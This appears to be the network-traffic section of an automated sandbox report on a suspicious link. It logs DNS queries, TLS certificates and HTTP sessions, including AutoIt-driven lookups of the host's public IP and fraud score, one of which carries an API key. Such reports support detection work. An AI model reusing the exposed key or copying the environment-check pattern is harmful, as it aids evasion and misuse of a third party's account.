Source: chromecache_145.4.dr	String found in binary or memory: return f}yG.K="internal.enableAutoEventOnTimer";var cc=wa(["data-gtm-yt-inspected-"]),AG=["www.youtube.com","www.youtube-nocookie.com"],BG,CG=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: zatp6ncab.cc.rs6.net
Source: global traffic	DNS traffic detected: DNS query: allstareventsmiami.com
Source: global traffic	DNS traffic detected: DNS query: cdn.userway.org
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: s.w.org
Source: global traffic	DNS traffic detected: DNS query: www.inflatableoffice.com
Source: global traffic	DNS traffic detected: DNS query: connect.livechatinc.com
Source: global traffic	DNS traffic detected: DNS query: groundrats.org
Source: global traffic	DNS traffic detected: DNS query: api.userway.org
Source: global traffic	DNS traffic detected: DNS query: rental.software
Source: global traffic	DNS traffic detected: DNS query: cdn.livechatinc.com
Source: global traffic	DNS traffic detected: DNS query: virtual.urban-orthodontics.com
Source: global traffic	DNS traffic detected: DNS query: api.livechatinc.com
Source: global traffic	DNS traffic detected: DNS query: secure.livechatinc.com

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 11, 2025 22:42:32.436532021 CET	53	51106	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:32.488750935 CET	53	54336	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:35.862299919 CET	55768	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:35.862457991 CET	57624	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:35.909698963 CET	53	55768	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:35.909714937 CET	53	57624	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:36.063541889 CET	53	58501	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:37.705890894 CET	60268	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:37.707520962 CET	59672	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:37.714590073 CET	53	60268	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:37.716749907 CET	53	59672	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:40.413214922 CET	54804	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:40.413402081 CET	49444	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:40.427716017 CET	53	54804	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:40.436479092 CET	53	49444	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:43.421202898 CET	50071	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:43.421336889 CET	55835	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:43.428994894 CET	53	55835	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:43.444402933 CET	53	50071	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:45.855657101 CET	50442	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:45.855875015 CET	64135	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:45.863615990 CET	53	64135	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:45.865184069 CET	53	50442	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:45.866556883 CET	53	57146	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:45.871170044 CET	49388	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:45.871422052 CET	58766	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:45.877866983 CET	53	49388	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:45.878124952 CET	53	58766	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:48.493230104 CET	58796	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:48.493417978 CET	57225	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:48.500459909 CET	53	58796	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:48.500806093 CET	53	57225	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:53.272607088 CET	53	63216	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:53.856682062 CET	65173	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:53.857153893 CET	53850	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:42:53.864135027 CET	53	53850	1.1.1.1	192.168.2.4
Mar 11, 2025 22:42:53.891983986 CET	53	65173	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:01.137074947 CET	62689	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:01.137433052 CET	64998	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:01.277333975 CET	54473	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:01.277502060 CET	55937	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:01.284657955 CET	53	55937	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:01.287667990 CET	53	54473	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:01.503839016 CET	53	51436	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:01.541549921 CET	50547	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:01.542853117 CET	55135	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:01.707066059 CET	53	62689	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:01.710010052 CET	53	64998	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:01.873347998 CET	53	50547	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:02.001279116 CET	53	55135	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:04.590728045 CET	64212	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:04.591171980 CET	51113	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:04.597598076 CET	53	64212	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:04.597870111 CET	53	51113	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:05.504190922 CET	54859	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:05.504405975 CET	58135	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:05.615328074 CET	53	58135	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:05.917957067 CET	53	54859	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:07.258405924 CET	62622	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:07.258776903 CET	49189	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:07.265336990 CET	53	62622	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:07.266784906 CET	53	49189	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:07.269046068 CET	53	54364	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:07.270165920 CET	53	50118	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:07.427293062 CET	54699	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:07.427464008 CET	59586	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:07.436106920 CET	53	59586	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:07.447429895 CET	53	54699	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:07.472848892 CET	49503	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:07.473191977 CET	61638	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:07.483326912 CET	53	49503	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:07.692239046 CET	53	61638	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:08.283804893 CET	60456	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:08.283919096 CET	60982	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:08.507059097 CET	53	60456	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:08.507819891 CET	53	60982	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:10.165770054 CET	59101	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:10.165911913 CET	57165	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:10.173216105 CET	53	57165	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:10.173957109 CET	53	59101	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:12.372026920 CET	53	53500	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:13.261106968 CET	57985	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:13.261257887 CET	60701	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:13.268337011 CET	53	57985	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:13.268378973 CET	53	60701	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:19.724343061 CET	58005	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:19.724473953 CET	50297	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:19.731484890 CET	53	50297	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:19.731513023 CET	53	58005	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:20.431204081 CET	57286	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:20.431364059 CET	60849	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:20.439924002 CET	53	57286	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:20.658967018 CET	53	60849	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:25.093933105 CET	57076	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:25.094088078 CET	64606	53	192.168.2.4	1.1.1.1
Mar 11, 2025 22:43:25.100981951 CET	53	57076	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:25.102526903 CET	53	64606	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:28.786067963 CET	138	138	192.168.2.4	192.168.2.255
Mar 11, 2025 22:43:31.682416916 CET	53	64414	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:34.919145107 CET	53	51707	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:35.258047104 CET	53	64641	1.1.1.1	192.168.2.4
Mar 11, 2025 22:43:36.445802927 CET	53	64858	1.1.1.1	192.168.2.4

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 11, 2025 22:43:02.001343012 CET	192.168.2.4	1.1.1.1	c220	(Port unreachable)	Destination Unreachable
Mar 11, 2025 22:43:07.692332029 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable
Mar 11, 2025 22:43:20.659076929 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 22:42:43.449840069 CET	437	OUT	GET / HTTP/1.1 Host: allstareventsmiami.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Mar 11, 2025 22:42:43.981728077 CET	540	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=iso-8859-1 Content-Length: 239 Connection: keep-alive Keep-Alive: timeout=15 X-WS-RateLimit-Limit: 100 X-WS-RateLimit-Remaining: 99 Date: Tue, 11 Mar 2025 21:42:43 GMT Server: Apache Location: https://allstareventsmiami.com/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 6c 73 74 61 72 65 76 65 6e 74 73 6d 69 61 6d 69 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://allstareventsmiami.com/">here</a>.</p></body></html>

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Mar 11, 2025 22:42:44.097016096 CET	74.208.236.37	443	192.168.2.4	49739	CN=*.allstareventsmiami.com CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Sun Oct 06 02:00:00 CEST 2024 Fri Nov 02 01:00:00 CET 2018 Tue Mar 12 01:00:00 CET 2019	Tue Oct 21 01:59:59 CEST 2025 Wed Jan 01 00:59:59 CET 2031 Mon Jan 01 00:59:59 CET 2029	771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,45-35-51-43-13-23-27-65281-5-16-65037-18-0-11-10-17613,4588-29-23-24,0	128bf2f703b61f6daa4c24fc3891a6b2
					CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Fri Nov 02 01:00:00 CET 2018	Wed Jan 01 00:59:59 CET 2031
					CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Mar 12 01:00:00 CET 2019	Mon Jan 01 00:59:59 CET 2029
Mar 11, 2025 22:42:47.489558935 CET	74.208.236.37	443	192.168.2.4	49741	CN=*.allstareventsmiami.com CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Sun Oct 06 02:00:00 CEST 2024 Fri Nov 02 01:00:00 CET 2018 Tue Mar 12 01:00:00 CET 2019	Tue Oct 21 01:59:59 CEST 2025 Wed Jan 01 00:59:59 CET 2031 Mon Jan 01 00:59:59 CET 2029	771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,65037-16-0-23-10-5-11-65281-18-45-43-51-17613-35-27-13,4588-29-23-24,0	19304b617ddaacaff647f857a4bd395f
					CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Fri Nov 02 01:00:00 CET 2018	Wed Jan 01 00:59:59 CET 2031
					CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Mar 12 01:00:00 CET 2019	Mon Jan 01 00:59:59 CET 2029
Mar 11, 2025 22:42:57.361864090 CET	74.208.236.37	443	192.168.2.4	49765	CN=*.allstareventsmiami.com CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Sun Oct 06 02:00:00 CEST 2024 Fri Nov 02 01:00:00 CET 2018 Tue Mar 12 01:00:00 CET 2019	Tue Oct 21 01:59:59 CEST 2025 Wed Jan 01 00:59:59 CET 2031 Mon Jan 01 00:59:59 CET 2029	771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,10-13-43-18-5-16-27-23-0-51-65037-45-35-17613-11-65281,4588-29-23-24,0	5518a94968ef35627fe97f606ec3647c
					CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Fri Nov 02 01:00:00 CET 2018	Wed Jan 01 00:59:59 CET 2031
					CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Mar 12 01:00:00 CET 2019	Mon Jan 01 00:59:59 CET 2029
Mar 11, 2025 22:42:57.362586975 CET	74.208.236.37	443	192.168.2.4	49764	CN=*.allstareventsmiami.com CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Sun Oct 06 02:00:00 CEST 2024 Fri Nov 02 01:00:00 CET 2018 Tue Mar 12 01:00:00 CET 2019	Tue Oct 21 01:59:59 CEST 2025 Wed Jan 01 00:59:59 CET 2031 Mon Jan 01 00:59:59 CET 2029	771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,18-51-65281-43-35-45-17613-16-0-11-10-13-5-23-65037-27,4588-29-23-24,0	3e61ff8ef2b39e4fce0d7453622dbade
					CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Fri Nov 02 01:00:00 CET 2018	Wed Jan 01 00:59:59 CET 2031
					CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Mar 12 01:00:00 CET 2019	Mon Jan 01 00:59:59 CET 2029
Mar 11, 2025 22:43:06.711715937 CET	46.173.214.32	443	192.168.2.4	49778	CN=groundrats.org CN=E6, O=Let's Encrypt, C=US	CN=E6, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	Thu Feb 06 18:59:13 CET 2025 Wed Mar 13 01:00:00 CET 2024	Wed May 07 19:59:12 CEST 2025 Sat Mar 13 00:59:59 CET 2027	771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,43-11-10-27-0-13-35-5-65281-16-17613-51-45-65037-18-23,4588-29-23-24,0	87897536db377802129cf26d2d664794
Mar 11, 2025 22:43:06.711715937 CET	46.173.214.32	443	192.168.2.4	49778	CN=E6, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Wed Mar 13 01:00:00 CET 2024	Sat Mar 13 00:59:59 CET 2027		87897536db377802129cf26d2d664794

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:42:12 UTC	84	OUT	GET / HTTP/1.1 User-Agent: AutoIt Host: api.ipify.org Cache-Control: no-cache
2025-03-11 21:42:12 UTC	425	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:42:12 GMT Content-Type: text/plain Content-Length: 13 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 91ee38691e1ef793-EWR server-timing: cfL4;desc="?proto=TCP&rtt=50495&min_rtt=50340&rtt_var=14427&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2816&recv_bytes=722&delivery_rate=56778&cwnd=32&unsent_bytes=0&cid=44cbc3217f72e9a4&ts=646&x=0"
2025-03-11 21:42:12 UTC	13	IN	Data Raw: 31 37 33 2e 32 30 2e 31 30 37 2e 37 38 Data Ascii: 173.20.107.78

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:42:14 UTC	59	OUT	GET / HTTP/1.1 User-Agent: AutoIt Host: api.ipify.org
2025-03-11 21:42:15 UTC	426	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:42:14 GMT Content-Type: text/plain Content-Length: 13 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 91ee3876d83844db-ATL server-timing: cfL4;desc="?proto=TCP&rtt=21753&min_rtt=20080&rtt_var=8549&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=697&delivery_rate=106368&cwnd=247&unsent_bytes=0&cid=8d6d6a3ff859c4cb&ts=519&x=0"
2025-03-11 21:42:15 UTC	13	IN	Data Raw: 31 37 33 2e 32 30 2e 31 30 37 2e 37 38 Data Ascii: 173.20.107.78

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:42:16 UTC	147	OUT	GET /api/json/ip/5SPfwvEV3gwc55pvxBQOnjhEt01fgi0C/173.20.107.78 HTTP/1.1 User-Agent: AutoIt Host: ipqualityscore.com Cache-Control: no-cache
2025-03-11 21:42:17 UTC	829	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:42:17 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.27 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nPly9OcXlw6PRMfzDTDP57cxRHgOBU2HiIwdiS0lmtDCf9mb4a8I5u8PsS2fVtTv4fF8erBn8Hd4zRmH6DEgWJpGEOJ2teh4QS3u0Xnw%2B1zeVXgEWFsMqaqW%2FW%2B4xwkDYFh%2Baw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91ee38859f87adc6-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=22776&min_rtt=20760&rtt_var=9333&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=785&delivery_rate=98620&cwnd=245&unsent_bytes=0&cid=57a711b4e1c383d2&ts=897&x=0"
2025-03-11 21:42:17 UTC	540	IN	Data Raw: 32 32 31 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 6d 65 73 73 61 67 65 22 3a 22 53 75 63 63 65 73 73 22 2c 22 66 72 61 75 64 5f 73 63 6f 72 65 22 3a 31 30 30 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 46 6c 6f 72 69 64 61 22 2c 22 63 69 74 79 22 3a 22 4e 61 76 61 72 72 65 22 2c 22 49 53 50 22 3a 22 58 74 72 65 61 6d 22 2c 22 41 53 4e 22 3a 33 30 30 33 36 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 58 74 72 65 61 6d 22 2c 22 69 73 5f 63 72 61 77 6c 65 72 22 3a 66 61 6c 73 65 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 43 68 69 63 61 67 6f 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 68 6f 73 74 22 3a 22 31 37 33 2d 32 30 2d 31 30 37 2d 37 38 2e 63 6c 69 Data Ascii: 221{"success":true,"message":"Success","fraud_score":100,"country_code":"US","region":"Florida","city":"Navarre","ISP":"Xtream","ASN":30036,"organization":"Xtream","is_crawler":false,"timezone":"America\/Chicago","mobile":false,"host":"173-20-107-78.cli
2025-03-11 21:42:17 UTC	12	IN	Data Raw: 74 69 42 70 6f 69 44 4e 22 7d 0d 0a Data Ascii: tiBpoiDN"}
2025-03-11 21:42:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:42:40 UTC	961	OUT	GET /tn.jsp?f=001cxnICqQ2JvPHh68sPy67JcA12wTozyZ6tUXkt2fZXwkdUYMtwupLT-S4xl9B8jrFTN2ypT6neP3NkCtT6T7jkLznqRZuYP8GDL9GeN2eBUzFDN-0RDFO77xH2Hs1dfopzmnxZo5nnmpQ5j86V7OAlkc5LTVsDC46&c=fACjGJy843O2qLhy_EDw1tXsObaS44Oax9jWi5hSnXgO6cOpWOdvvQ==&ch=uDRbqb-h-hxGIaPgl5mPd8lWnKQdGcMqD3sNOjiafZx2mj0NMDi8Mw== HTTP/1.1 Host: zatp6ncab.cc.rs6.net Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:42:40 UTC	348	IN	HTTP/1.1 302 Found Date: Tue, 11 Mar 2025 21:42:40 GMT Server: Apache P3P: CP="CAO DSP TAIa OUR NOR UNI" Location: http://allstareventsmiami.com/ Content-Length: 0 Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate, no-cache="Set-Cookie" Pragma: no-cache Connection: close Content-Type: text/html;charset=ISO-8859-1

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:42:47 UTC	571	OUT	GET /widget.js HTTP/1.1 Host: cdn.userway.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:42:48 UTC	895	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:42:48 GMT Content-Type: application/javascript Content-Length: 1787 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, POST, DELETE Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Last-Modified: Tue, 11 Mar 2025 08:34:46 GMT ETag: "1c50ccc7c539be20467d3cf1801920d2" x-amz-server-side-encryption: AES256 Cache-Control: max-age=3600, public Via: 1.1 de11a38373aee7f9d5ba9d586bb8bfd2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: VpIiGfVAi9WbqV68xeSzR0kdJNVYTjZdbYpAL3jM9PP75bdYIgttTw== Age: 552 X-77-NZT: EgwBw7WvJwH3uQwAAAwBJRPCNAG3dQUAAA X-77-NZT-Ray: 25b02131fdfd692f58aed06796def00d X-77-Cache: HIT X-77-Age: 3257 Vary: Accept-Encoding Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
